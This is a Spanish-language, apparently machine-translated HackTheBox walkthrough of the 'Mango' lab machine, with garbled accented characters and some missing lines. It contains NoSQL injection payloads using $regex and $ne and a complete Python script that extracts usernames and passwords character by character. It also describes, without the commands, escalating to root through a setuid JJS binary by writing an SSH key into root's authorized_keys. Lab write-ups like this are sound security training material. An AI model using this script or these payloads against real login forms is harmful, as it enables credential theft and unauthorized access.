Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox .En este art铆culo, aprovechamos la inyecci贸n NoSQL en forma de autorizaci贸n, y tambi茅n aumentamos los privilegios a trav茅s de JJS.La conexi贸n al laboratorio es a trav茅s de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos que son importantes para usted est茅n disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la informaci贸n :)Informaci贸n organizacional, ,
Telegram . , ,
.
. , - , .
Recon
Esta m谩quina tiene una direcci贸n IP 10.10.10.162, que agrego a / etc / hosts.10.10.10.162 mango.htb
Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero har茅 esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 1000 paquetes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162 --rate=1000
Ahora, para obtener informaci贸n m谩s detallada sobre los servicios que operan en los puertos, realizaremos un an谩lisis con la opci贸n -A.nmap -A mango.htb -p22,80,443
En primer lugar, veamos el sitio. Al acceder a mango.htb, nos lanzan de http a https y hablan sobre un problema con el certificado. Si acepta los riesgos, puede ver esta p谩gina.
Pero nada m谩s interesante. La exploraci贸n de nmap muestra informaci贸n de SSL SSL donde se especifica el dominio. Agr茅guelo a / etc / hosts.10.10.10.162 staging-order.mango.htb
Y vamos a ver qu茅 hay all铆.
Hay un formulario de autorizaci贸n, un posible punto de entrada.Punto de entrada
Intentamos varias t茅cnicas de inyecci贸n para evitar la autorizaci贸n. Y encontramos la inyecci贸n est谩ndar de NoSql comparando la reacci贸n con dos condiciones: el inicio de sesi贸n es 123, la contrase帽a es 123 y el inicio de sesi贸n no es 123, la contrase帽a no es 123.
Y despu茅s del resultado verdadero exitoso de la segunda condici贸n, obtenemos una redirecci贸n a home.php. Por lo tanto, la inyecci贸n de NoSql es posible.
Como no hay nada interesante en la p谩gina, lo 煤nico que podemos sacar de esta vulnerabilidad son los inicios de sesi贸n y las contrase帽as.USUARIO
Veamos las longitudes de los nombres de usuario y contrase帽as m谩ximos. Para hacer esto, puede usar las siguientes construcciones:login [$ regex] =. {Length} & password [$ ne] = 123 - para el inicio de sesi贸n (se realiza una comparaci贸n de expresiones regulares para el inicio de sesi贸n y la contrase帽a no es v谩lida);iniciar sesi贸n [$ ne] = 123; contrase帽a [$ regex] =. {longitud} para la contrase帽a.Hag谩moslo con eructo intruso.

Por lo tanto, la longitud del inicio de sesi贸n m谩s largo es de 5 caracteres. Despu茅s de haber realizado las mismas operaciones para la contrase帽a, descubrimos que la longitud de la m谩s larga es de 16 caracteres.
Como es demasiado largo para resolverlo con sus manos, escribiremos un script de Python. Primero, haremos una sesi贸n de trabajo.import string
import requests
alfa = string.printable
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
A continuaci贸n, implementamos una funci贸n para enumerar inicios de sesi贸n. La iteraci贸n se realizar谩 utilizando la siguiente expresi贸n regular ^ nombre. * - de esta manera estiraremos un car谩cter a la vez.def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
Y una funci贸n similar, solo usando el inicio de sesi贸n encontrado.def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
C脫DIGO COMPLETO:
import string
import requests
alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
print("SEARCH logins:")
logins_find("")
print("\nSEARCH passwords:")
[ passwords_find(login, "") for login in logins ]
Y, como resultado, encontramos las credenciales de dos usuarios.
Nos conectamos con 茅xito a las credenciales a trav茅s de SSH.
Tenemos una contrase帽a del segundo usuario, pero no permite iniciar sesi贸n a trav茅s de SSH. Estamos tratando de cambiar localmente al usuario ingresando la contrase帽a que conocemos.
RA脥Z
Realicemos
la enumeraci贸n b谩sica utilizando el script LinEnum .
Y encontramos el programa con el conjunto S-bit.
Comprobando JJS por ejemplo GTFOBins .
Tambi茅n hay ejemplos de operaci贸n. Llamar a shell local no funcion贸. Pero puede generar claves ssh, escribir public en /root/.ssh/authorized_keys y conectarse usando private.
Vamos a contar la clave p煤blica.
Y ahora escr铆belo.
Y ahora con茅ctate como root.
Puedes unirte a nosotros en Telegram. All铆 puede encontrar materiales interesantes, cursos combinados, as铆 como software. Formemos una comunidad en la que haya personas con conocimientos en muchas 谩reas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la informaci贸n y TI.